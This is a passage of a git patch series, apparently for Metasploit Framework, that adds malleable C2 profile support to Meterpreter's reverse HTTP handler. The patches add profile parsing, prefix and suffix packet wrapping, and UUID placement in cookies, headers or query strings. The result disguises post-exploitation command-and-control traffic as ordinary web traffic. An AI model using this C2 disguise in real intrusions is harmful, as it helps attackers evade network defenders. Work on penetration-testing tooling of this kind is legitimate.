- + def process_uuid_string(uri_bare) # Figure out the mode based on the checksum uri_csum = Rex::Text.checksum8(uri_bare) @@ -58,6 +49,30 @@ def process_uri_resource(uri) { uri: uri_bare, sum: uri_csum, uuid: uri_uuid, mode: uri_mode } end + # Map "random" URIs to static strings, allowing us to randomize + # the URI sent in the first request. + # + # @param uri [String] The URI string from the HTTP request + # @return [Hash] The attributes extracted from the URI + def process_uri_resource(uri) + # look for the UUID anywhere in the given URI, excluding the query string + uri.split('?')[0].split('/').each {|u| + # Ignore non-base64url characters in the URL + uri_bare = u.gsub(/[^a-zA-Z0-9_\-]/, '') + h = process_uuid_string(uri_bare) + return h if h[:uuid] + } + + nil + end + + # Map "random" cookies to static strings. + # + # @param cookie [String] The Cookie header string from the HTTP request. + # @return [Hash] The attributes extracted from the URI + def process_cookie_resource(uri) + end + # Create a URI that matches the specified checksum and payload uuid # # @param sum [Integer] A checksum mode value to use for the generated url diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 3fe63a203dba3..c55fbe05879f8 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -143,12 +143,15 @@ module Meterpreter TLV_TYPE_C2_OTHER_HEADERS = TLV_META_TYPE_STRING | 715 # Custom headers TLV_TYPE_C2_UA = TLV_META_TYPE_STRING | 716 # User agent TLV_TYPE_C2_CERT_HASH = TLV_META_TYPE_RAW | 717 # Expected SSL certificate hash -TLV_TYPE_C2_PREFIX = TLV_META_TYPE_STRING | 718 # Data to prepend to the outgoing payload -TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_STRING | 719 # Data to append to the outgoing payload +TLV_TYPE_C2_PREFIX = TLV_META_TYPE_RAW | 718 # Data to prepend to the outgoing payload +TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_RAW | 719 # Data to append to the outgoing payload TLV_TYPE_C2_ENC = TLV_META_TYPE_UINT | 720 # Request encoding flags (Base64|URL|Base64url) TLV_TYPE_C2_SKIP_COUNT = TLV_META_TYPE_UINT | 721 # Number of bytes of the incoming payload to ignore before parsing TLV_TYPE_C2_REFERRER = TLV_META_TYPE_STRING | 722 # Referrer string TLV_TYPE_C2_ACCEPT_TYPES = TLV_META_TYPE_STRING | 723 # Accept types string +TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 724 # Name of the cookie to put the UUID in +TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 725 # Name of the GET parameter to put the UUID in +TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 726 # Name of the header to put the UUID in # # C2 Encoding flags diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index 37f8d01abce15..766b64211c57d 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -710,16 +710,18 @@ def log_packet_to_file(packet, packet_type) end module HttpPacketDispatcher + def connection_uuid + self.conn_id.to_s.split('?')[0].split('/').compact.last.gsub(/(^\/|\/$)/, '') + end + def initialize_passive_dispatcher super - # Ensure that there is only one leading and trailing slash on the URI - resource_uri = "/" + self.conn_id.to_s.gsub(/(^\/|\/$)/, '') + "/" self.passive_service = self.passive_dispatcher - self.passive_service.remove_resource(resource_uri) - self.passive_service.add_resource(resource_uri, + self.passive_service.remove_resource(self.connection_uuid) + self.passive_service.add_resource(self.connection_uuid, 'Proc' => Proc.new { |cli, req| on_passive_request(cli, req) }, - 'VirtualDirectory' => true + 'VirtualDirectory' => true, ) # Add a reference count to the handler @@ -728,9 +730,7 @@ def initialize_passive_dispatcher def shutdown_passive_dispatcher if self.passive_service - # Ensure that there is only one leading and trailing slash on the URI - resource_uri = "/" + self.conn_id.to_s.gsub(/(^\/|\/$)/, '') + "/" - self.passive_service.remove_resource(resource_uri) if self.passive_service + self.passive_service.remove_resource(self.connection_uuid) if self.passive_service self.passive_service.deref self.passive_service = nil diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index aa75aecc2c90c..e3ec72b006a41 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -279,19 +279,32 @@ def dispatch_request(cli, request) cli.keepalive = true end - # Search for the resource handler for the requested URL. This is pretty - # inefficient right now, but we can spruce it up later. - p = nil - len = 0 - root = nil - - resources.each_pair { |k, val| - if (request.resource =~ /^#{k}/ and k.length > len) - p = val - len = k.length - root = k - end - } + #STDERR.puts("Resources: #{resources.inspect}\n") + + # Direct lookup on the last part of the URI, if any, will work + # to find a handler based on the connection ID because we don't + # ever have IDs that have slashes, so it's not possible to overlap + # with handlers of the same name. + cid = request.resource.split('?')[0].split('/').compact.last + if resources[cid] + p = resources[cid] + len = cid.length + root = request.resource + else + # Search for the resource handler for the requested URL. This is pretty + # inefficient right now, but we can spruce it up later. + p = nil + len = 0 + root = nil + + resources.each_pair { |k, val| + if (request.resource =~ /^#{k}/ and k.length > len) + p = val + len = k.length + root = k + end + } + end if (p) # Create an instance of the handler for this resource diff --git a/spec/lib/msf/core/handler/reverse_http_spec.rb b/spec/lib/msf/core/handler/reverse_http_spec.rb index d3f28b13b8236..f4379aa685aeb 100644 --- a/spec/lib/msf/core/handler/reverse_http_spec.rb +++ b/spec/lib/msf/core/handler/reverse_http_spec.rb @@ -39,7 +39,7 @@ def ssl? context 'when add_resource raised and resource was not added' do before do payload.service = mock_service - payload.resource_added = false + payload.instance_variable_set(:@resources_added, false) end it 'does not remove the resource but still derefs the service' do @@ -53,7 +53,7 @@ def ssl? context 'when the resource was successfully added' do before do payload.service = mock_service - payload.resource_added = true + payload.instance_variable_set(:@resources_added, true) end it 'removes the resource and derefs the service' do @@ -61,7 +61,7 @@ def ssl? expect(mock_service).to receive(:deref) payload.stop_handler expect(payload.service).to be_nil - expect(payload.resource_added).to eq(false) + expect(payload.instance_variable_get(:@resources_added)).to eq(false) end end end From ab292960c0cbb27d0dc931c4d92f06a2a09902e0 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Tue, 15 Jul 2025 11:57:37 +1000 Subject: [PATCH 03/65] Payload wrapping support and more * Supporting "wrapping" and "unwrapping" of payloads based on the C2 profile, which means that suffixes and prefixes are used based on what the configuration indicates. * Made sure taht the debug_build flag is passed through on HTTP/S payloads. * push details of the C2 profile into the meterp client so that required details can be easily accessed. --- lib/msf/core/handler/reverse_http.rb | 20 ++++++-- lib/msf/core/payload/malleable_c2.rb | 13 +++-- lib/rex/payloads/meterpreter/config.rb | 1 - lib/rex/post/meterpreter/client.rb | 47 +++++++++++++++++++ lib/rex/post/meterpreter/packet_dispatcher.rb | 9 ++-- 5 files changed, 78 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index b8745291f6ff8..599de00e14a60 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -340,6 +340,12 @@ def lookup_proxy_settings def on_request(cli, req) Thread.current[:cli] = cli resp = Rex::Proto::Http::Response.new + + # TODO OJ - look for C2 profile, if associated, get settings to see if + # UUID is stashed in other locations like cookies/headers. This might + # have to happen during the resource lookup instead of here, and + # when on_request is called we pass the UUID in, if found + info = process_uri_resource(req.relative_resource) uuid = info[:uuid] @@ -349,6 +355,9 @@ def on_request(cli, req) uuid.platform ||= self.platform conn_id = luri + + request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'" + if info[:mode] && info[:mode] != :connect conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid) else @@ -356,8 +365,6 @@ def on_request(cli, req) conn_id = conn_id.chomp('/') end - request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'" - # Validate known UUIDs for all requests if IgnoreUnknownPayloads is set if framework.db.active db_uuid = framework.db.payloads({ uuid: uuid.puid_hex }).first @@ -432,7 +439,7 @@ def on_request(cli, req) end end - create_session(cli, { + session_opts = { :passive_dispatcher => self.service, :dispatch_ext => [Rex::Post::Meterpreter::HttpPacketDispatcher], :conn_id => conn_id, @@ -442,9 +449,12 @@ def on_request(cli, req) :retry_total => datastore['SessionRetryTotal'].to_i, :retry_wait => datastore['SessionRetryWait'].to_i, :ssl => ssl?, - :payload_uuid => uuid - }) + :payload_uuid => uuid, + :c2_profile => datastore['MALLEABLEC2'] || '', + :debug_build => datastore['MeterpreterDebugBuild'] || false, + } + create_session(cli, session_opts) else unless [:unknown, :unknown_uuid, :unknown_uuid_url].include?(info[:mode]) print_status("Unknown request to #{request_summary}") diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 01a44fd7f2491..b5955b8978636 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -112,6 +112,11 @@ def initialize @sections = [] end + def method_missing(name, *args) + name = name.to_s.gsub('_', '-') + get_section(name) || get_set(name) + end + def get_set(key) val = @sets.find {|s| s.key == key.downcase}&.value if block_given? && !val.nil? @@ -139,9 +144,6 @@ def uris self.get_section('http-post') {|http_post| post_uri = http_post.get_set('uri') } - STDERR.puts("base uri: #{base_uri}\n") - STDERR.puts("get uri: #{get_uri}\n") - STDERR.puts("post uri: #{post_uri}\n") [base_uri, get_uri, post_uri].compact end @@ -247,6 +249,11 @@ def initialize(name) @sections = [] end + def method_missing(name, *args) + name = name.to_s.gsub('_', '-') + get_section(name) || get_directive(name) || get_set(name) + end + def get_set(key) val = @entries.find {|s| s.kind_of?(ParsedSet) && s.key == key.downcase}&.value if block_given? && !val.nil? diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index be8092993f146..caceb25f7a3a1 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -59,7 +59,6 @@ def add_session_tlv(tlv, opts) end tlv.add_tlv(MET::TLV_TYPE_EXITFUNC, exit_func) - STDERR.puts("Sess Exp: #{opts[:expiration]}\n") tlv.add_tlv(MET::TLV_TYPE_SESSION_EXPIRY, opts[:expiration]) tlv.add_tlv(MET::TLV_TYPE_UUID, uuid) tlv.add_tlv(MET::TLV_TYPE_SESSION_GUID, session_guid) diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index 51c94ae12bfd0..23c42905c5630 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -115,6 +115,44 @@ def cleanup_meterpreter shutdown_tlv_logging end + # + # Wrap the given packet data with any prefixes and suffixes that are stored in + # the associated C2 profile server configuration (if it exists) + # + def wrap_packet(raw_bytes) + if self.c2_profile + # TODO: cache the loaded wrappers to avoid parsing with every packet + prepends = self.c2_profile.http_get&.server&.output&.prepend || [] + prefix = prepends.reverse.map {|p| p.args[0]}.join('') + appends = self.c2_profile.http_get&.server&.output&.append || [] + suffix = appends.map {|p| p.args[0]}.join('') + raw_bytes = prefix + raw_bytes + suffix + end + raw_bytes + end + + # + # Unwrap the given packet data from any prefixes and suffixes that are stored in + # the associated C2 profile client configuration (if it exists) + # + def unwrap_packet(raw_bytes) + if self.c2_profile + # TODO: cache the loaded wrappers to avoid parsing with every packet + prepends = self.c2_profile.http_post&.client&.output&.prepend || [] + prefix = prepends.reverse.map {|p| p.args[0]}.join('') + unless prefix.empty? || (raw_bytes[0, prefix.length] <=> prefix) != 0 + raw_bytes = raw_bytes[prefix.length, raw_bytes.length] + end + + appends = self.c2_profile.http_post&.client&.output&.append || [] + suffix = appends.map {|p| p.args[0]}.join('') + unless suffix.empty? || (raw_bytes[-suffix.length, raw_bytes.length] <=> suffix) != 0 + raw_bytes = raw_bytes[0, raw_bytes.length - suffix.length] + end + end + raw_bytes + end + # # Initializes the meterpreter client instance # @@ -133,6 +171,11 @@ def init_meterpreter(sock,opts={}) self.url = opts[:url] self.ssl = opts[:ssl] + unless opts[:c2_profile].empty? + parser = Msf::Payload::MalleableC2::Parser.new + self.c2_profile = parser.parse(opts[:c2_profile]) + end + self.pivot_session = opts[:pivot_session] if self.pivot_session self.expiration = self.pivot_session.expiration @@ -500,6 +543,10 @@ def unicode_filter_decode(str) # attr_accessor :last_checkin # + # Reference to the c2 profile instance associated with this connection, if any. + # + attr_accessor :c2_profile + # # Whether or not to use a debug build for loaded extensions # attr_accessor :debug_build diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index 766b64211c57d..296e042d09bd3 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -749,8 +749,9 @@ def on_passive_request(cli, req) self.last_checkin = ::Time.now if req.method == 'GET' - rpkt = send_queue.shift - resp.body = rpkt || '' + rpkt = send_queue.shift || '' + rpkt = self.wrap_packet(rpkt) if self.respond_to?(:wrap_packet) + resp.body = rpkt begin cli.send_response(resp) rescue ::Exception => e @@ -760,8 +761,10 @@ def on_passive_request(cli, req) else resp.body = "" if req.body and req.body.length > 0 + body = req.body + body = self.unwrap_packet(body) if self.respond_to?(:unwrap_packet) packet = Packet.new(0) - packet.add_raw(req.body) + packet.add_raw(body) packet.parse_header! packet = decrypt_inbound_packet(packet) dispatch_inbound_packet(packet) From 78b0fd8714350942131ba6ad2ad4afdc1bc0c603 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 16 Jul 2025 14:25:55 +1000 Subject: [PATCH 04/65] Add C2 packet support to the stageless transition Stageless payloads start with an :init_connect which needs special consideration given that it's just redirected. There's no client instance at that point, so there's no C2 associated with it, so we have to just manually wrap the outbound packet so that things work correctly. --- lib/msf/core/handler/reverse_http.rb | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 599de00e14a60..074e294c82899 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -412,6 +412,15 @@ def on_request(cli, req) pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/") resp.body = pkt.to_r + # this is gross, but we don't have a "client" yet, and so we have to hard-code nasty packet-wrapping stuff here :( + c2_profile = datastore['MALLEABLEC2'] || '' + + unless c2_profile.empty? + parser = Msf::Payload::MalleableC2::Parser.new + profile = parser.parse(c2_profile) + resp.body = profile.wrap_outbound_get(resp.body) + end + when :init_python, :init_native, :init_java, :connect # TODO: at some point we may normalise these three cases into just :init From 39cc6ca40248e18d63fa1b45cf66c3e9b5446a33 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 16 Jul 2025 14:27:58 +1000 Subject: [PATCH 05/65] Tidy and refactor of some C2 code Includes removal of the referrer and accept types specific TLV values, because they can be treated like any other header, despite what the MSDN documentation says about the HTTP APIs. Moved packet wrapping to somewhere reusable. Added support for binary-escaped strings in C2 profile values (eg. "\x00"). --- lib/msf/core/payload/malleable_c2.rb | 47 +++++++++++++++++++++++--- lib/rex/payloads/meterpreter/config.rb | 3 -- lib/rex/post/meterpreter/client.rb | 24 ++----------- lib/rex/post/meterpreter/packet.rb | 10 ++---- 4 files changed, 47 insertions(+), 37 deletions(-) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index b5955b8978636..98c48f36710ca 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -8,6 +8,13 @@ require 'strscan' require 'rex/post/meterpreter/packet' +# Handle escape sequences in the strings provided by the c2 profile +class String + def from_c2_string_value + self.gsub(/\\x(..)/) {|b| [b[2, 4].to_i(16)].pack('C')} + end +end + module Msf::Payload::MalleableC2 MET = Rex::Post::Meterpreter @@ -69,7 +76,6 @@ class Lexer ] def initialize(file) - #@text = text @tokens = [] tokenize(File.read(file)) end @@ -148,6 +154,29 @@ def uris [base_uri, get_uri, post_uri].compact end + def wrap_outbound_get(raw_bytes) + prepends = self.http_get&.server&.output&.prepend || [] + prefix = prepends.reverse.map {|p| p.args[0]}.join('') + appends = self.http_get&.server&.output&.append || [] + suffix = appends.map {|p| p.args[0]}.join('') + prefix + raw_bytes + suffix + end + + def unwrap_inbound_post(raw_bytes) + prepends = self.http_post&.client&.output&.prepend || [] + prefix = prepends.reverse.map {|p| p.args[0]}.join('') + unless prefix.empty? || (raw_bytes[0, prefix.length] <=> prefix) != 0 + raw_bytes = raw_bytes[prefix.length, raw_bytes.length] + end + + appends = self.http_post&.client&.output&.append || [] + suffix = appends.map {|p| p.args[0]}.join('') + unless suffix.empty? || (raw_bytes[-suffix.length, raw_bytes.length] <=> suffix) != 0 + raw_bytes = raw_bytes[0, raw_bytes.length - suffix.length] + end + raw_bytes + end + def to_tlv tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2) @@ -159,6 +188,11 @@ def to_tlv get_uri = http_get.get_set('uri') || c2_uri http_get.get_section('client') {|client| self.add_http_tlv(get_uri, client, get_tlv) + + prepends = self.http_get&.server&.output&.prepend || [] + prefix = prepends.reverse.map {|p| p.args[0]}.join('') + get_tlv.add_tlv(MET::TLV_TYPE_C2_SKIP_COUNT, prefix.length) unless prefix.length == 0 + client.get_section('metadata') {|meta| enc_flags = 0 enc_flags |= MET::C2_ENCODING_FLAG_B64 if meta.has_directive('base64') @@ -170,7 +204,7 @@ def to_tlv # assume uri-append for POST otherwise. } } - # TODO: add client config to server and vice versa + tlv.tlvs << get_tlv } @@ -178,9 +212,12 @@ def to_tlv post_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2_POST) post_uri = http_post.get_set('uri') || c2_uri http_post.get_section('client') {|client| - # TODO: add client config to server and vice versa self.add_http_tlv(post_uri, client, post_tlv) + prepends = self.http_get&.server&.output&.prepend || [] + prefix = prepends.reverse.map {|p| p.args[0]}.join('') + post_tlv.add_tlv(MET::TLV_TYPE_C2_SKIP_COUNT, prefix.length) unless prefix.length == 0 + client.get_section('output') {|client_output| enc_flags = 0 enc_flags |= MET::C2_ENCODING_FLAG_B64 if client_output.has_directive('base64') @@ -237,7 +274,7 @@ class ParsedSet attr_accessor :key, :value def initialize(key, value) @key = key.downcase - @value = value + @value = value.from_c2_string_value end end @@ -285,7 +322,7 @@ class ParsedDirective attr_accessor :type, :args def initialize(type, args) @type = type.downcase - @args = args + @args = args.map {|a| a.from_c2_string_value} end end diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index caceb25f7a3a1..f5b2d0485a7f1 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -86,9 +86,6 @@ def add_c2_tlv(tlv, opts) c2_tlv.add_tlv(MET::TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) - - # TODO: make sure all header types/etc are covered. - c2_tlv.add_tlv(MET::TLV_TYPE_C2_UA, opts[:ua]) unless (opts[:ua] || '').empty? end diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index 23c42905c5630..00e6c0ffd0dfe 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -120,14 +120,7 @@ def cleanup_meterpreter # the associated C2 profile server configuration (if it exists) # def wrap_packet(raw_bytes) - if self.c2_profile - # TODO: cache the loaded wrappers to avoid parsing with every packet - prepends = self.c2_profile.http_get&.server&.output&.prepend || [] - prefix = prepends.reverse.map {|p| p.args[0]}.join('') - appends = self.c2_profile.http_get&.server&.output&.append || [] - suffix = appends.map {|p| p.args[0]}.join('') - raw_bytes = prefix + raw_bytes + suffix - end + raw_bytes = self.c2_profile.wrap_outbound_get(raw_bytes) if self.c2_profile raw_bytes end @@ -136,20 +129,7 @@ def wrap_packet(raw_bytes) # the associated C2 profile client configuration (if it exists) # def unwrap_packet(raw_bytes) - if self.c2_profile - # TODO: cache the loaded wrappers to avoid parsing with every packet - prepends = self.c2_profile.http_post&.client&.output&.prepend || [] - prefix = prepends.reverse.map {|p| p.args[0]}.join('') - unless prefix.empty? || (raw_bytes[0, prefix.length] <=> prefix) != 0 - raw_bytes = raw_bytes[prefix.length, raw_bytes.length] - end - - appends = self.c2_profile.http_post&.client&.output&.append || [] - suffix = appends.map {|p| p.args[0]}.join('') - unless suffix.empty? || (raw_bytes[-suffix.length, raw_bytes.length] <=> suffix) != 0 - raw_bytes = raw_bytes[0, raw_bytes.length - suffix.length] - end - end + raw_bytes = self.c2_profile.unwrap_inbound_post(raw_bytes) if self.c2_profile raw_bytes end diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index c55fbe05879f8..21fef05e6c926 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -147,11 +147,9 @@ module Meterpreter TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_RAW | 719 # Data to append to the outgoing payload TLV_TYPE_C2_ENC = TLV_META_TYPE_UINT | 720 # Request encoding flags (Base64|URL|Base64url) TLV_TYPE_C2_SKIP_COUNT = TLV_META_TYPE_UINT | 721 # Number of bytes of the incoming payload to ignore before parsing -TLV_TYPE_C2_REFERRER = TLV_META_TYPE_STRING | 722 # Referrer string -TLV_TYPE_C2_ACCEPT_TYPES = TLV_META_TYPE_STRING | 723 # Accept types string -TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 724 # Name of the cookie to put the UUID in -TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 725 # Name of the GET parameter to put the UUID in -TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 726 # Name of the header to put the UUID in +TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 722 # Name of the cookie to put the UUID in +TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 723 # Name of the GET parameter to put the UUID in +TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 724 # Name of the header to put the UUID in # # C2 Encoding flags @@ -987,8 +985,6 @@ def aes_decrypt(key, iv, data) # def to_r(session_guid = nil, key = nil) xor_key = (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr - # for debugging purposes - xor_key = "\x00" * 4 raw = (session_guid || NULL_GUID).dup tlv_data = GroupTlv.instance_method(:to_r).bind(self).call From 50f2b5282a1b1c33f6463d75cf7ff19c3a8ba9b4 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 16 Jul 2025 14:29:29 +1000 Subject: [PATCH 06/65] Wire in support for C2 profiles in the x64 payload --- .../payloads/singles/windows/x64/meterpreter_reverse_http.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 8683c867fb22a..0b853912b5857 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -28,6 +28,7 @@ def initialize(info = {}) ) register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ]) @@ -45,6 +46,7 @@ def generate(opts = {}) def generate_config(opts = {}) opts[:uuid] ||= generate_payload_uuid + opts[:c2_profile] = datastore['MALLEABLEC2'] # create the configuration block config_opts = { From 28295333f5bcb993dd2b2a46e31fa23fa905ec66 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Thu, 17 Jul 2025 11:37:19 +1000 Subject: [PATCH 07/65] Small code tidy --- lib/rex/post/meterpreter/packet.rb | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 21fef05e6c926..25425dcece7a2 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -989,17 +989,13 @@ def to_r(session_guid = nil, key = nil) raw = (session_guid || NULL_GUID).dup tlv_data = GroupTlv.instance_method(:to_r).bind(self).call - if @type == PACKET_TYPE_CONFIG - raw << [ENC_FLAG_NONE, tlv_data].pack('NA*') + if @type != PACKET_TYPE_CONFIG && key && key[:key] && (key[:type] == ENC_FLAG_AES128 || key[:type] == ENC_FLAG_AES256) + # encrypt the data, but not include the length and type + iv, ciphertext = aes_encrypt(key[:key], tlv_data[HEADER_SIZE..-1]) + # now manually add the length/type/iv/ciphertext + raw << [key[:type], iv.length + ciphertext.length + HEADER_SIZE, self.type, iv, ciphertext].pack('NNNA*A*') else - if key && key[:key] && (key[:type] == ENC_FLAG_AES128 || key[:type] == ENC_FLAG_AES256) - # encrypt the data, but not include the length and type - iv, ciphertext = aes_encrypt(key[:key], tlv_data[HEADER_SIZE..-1]) - # now manually add the length/type/iv/ciphertext - raw << [key[:type], iv.length + ciphertext.length + HEADER_SIZE, self.type, iv, ciphertext].pack('NNNA*A*') - else - raw << [ENC_FLAG_NONE, tlv_data].pack('NA*') - end + raw << [ENC_FLAG_NONE, tlv_data].pack('NA*') end # return the xor'd result with the key From d538f2d90f364d28583e825ba44a64bbbb32cff4 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Thu, 17 Jul 2025 12:13:50 +1000 Subject: [PATCH 08/65] Small fix for non-c2 profile payloads --- lib/rex/post/meterpreter/client.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index 00e6c0ffd0dfe..a13e73a4f2432 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -151,7 +151,7 @@ def init_meterpreter(sock,opts={}) self.url = opts[:url] self.ssl = opts[:ssl] - unless opts[:c2_profile].empty? + unless (opts[:c2_profile] || '').empty? parser = Msf::Payload::MalleableC2::Parser.new self.c2_profile = parser.parse(opts[:c2_profile]) end From 0008175b9da8095c6d6e18d18050ddff6dbf78b3 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 23 Jul 2025 14:05:04 +1000 Subject: [PATCH 09/65] C2 profile persistence and better UUID handling Interim commit, contains code persists a C2 profile instance for reuse rather than having many being parsed all the time. Also begins work handling UUIDs outside of the URI. --- lib/msf/core/handler/reverse_http.rb | 40 ++++++----- lib/msf/core/payload/malleable_c2.rb | 26 +++++-- lib/rex/payloads/meterpreter/config.rb | 1 + lib/rex/payloads/meterpreter/uri_checksum.rb | 9 ++- lib/rex/post/meterpreter/client.rb | 5 +- lib/rex/post/meterpreter/client_core.rb | 71 ++++++++++---------- lib/rex/post/meterpreter/core_ids.rb | 2 +- lib/rex/post/meterpreter/packet.rb | 19 +----- spec/lib/rex/post/meterpreter/packet_spec.rb | 2 +- 9 files changed, 96 insertions(+), 79 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 074e294c82899..df40190060bcc 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -206,18 +206,28 @@ def luri def all_uris all = [luri] - c2_profile = datastore['MALLEABLEC2'] || '' - unless c2_profile.empty? - parser = Msf::Payload::MalleableC2::Parser.new - profile = parser.parse(c2_profile) - uris = profile.uris.map {|u| construct_luri(u)} + if self.c2_profile + uris = self.c2_profile.uris.map {|u| construct_luri(u)} all.push(*uris) end all end + def c2_profile + unless @c2_profile_parsed + profile_path = datastore['MALLEABLEC2'] || '' + unless profile_path.empty? + parser = Msf::Payload::MalleableC2::Parser.new + @c2_profile_instance = parser.parse(profile_path) + end + c2_profile_parsed = true + end + @c2_profile_instance + end + + # Create an HTTP listener # # @return [void] @@ -346,7 +356,9 @@ def on_request(cli, req) # have to happen during the resource lookup instead of here, and # when on_request is called we pass the UUID in, if found - info = process_uri_resource(req.relative_resource) + #STDERR.puts("#{req.inspect}\n") + #req.uri_parts["QueryString"] + info = process_uri_resource(req.relative_resource) #|| process_query_string_resource(req.query_string) uuid = info[:uuid] if uuid @@ -408,18 +420,10 @@ def on_request(cli, req) # was generated on the fly. This means we form a new session for each. # Hurl a TLV back at the caller, and ignore the response - pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_URL) - pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/") + pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_UUID) + pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_C2_UUID, conn_id) resp.body = pkt.to_r - - # this is gross, but we don't have a "client" yet, and so we have to hard-code nasty packet-wrapping stuff here :( - c2_profile = datastore['MALLEABLEC2'] || '' - - unless c2_profile.empty? - parser = Msf::Payload::MalleableC2::Parser.new - profile = parser.parse(c2_profile) - resp.body = profile.wrap_outbound_get(resp.body) - end + resp.body = self.c2_profile.wrap_outbound_get(resp.body) if self.c2_profile when :init_python, :init_native, :init_java, :connect # TODO: at some point we may normalise these three cases into just :init @@ -459,7 +463,7 @@ def on_request(cli, req) :retry_wait => 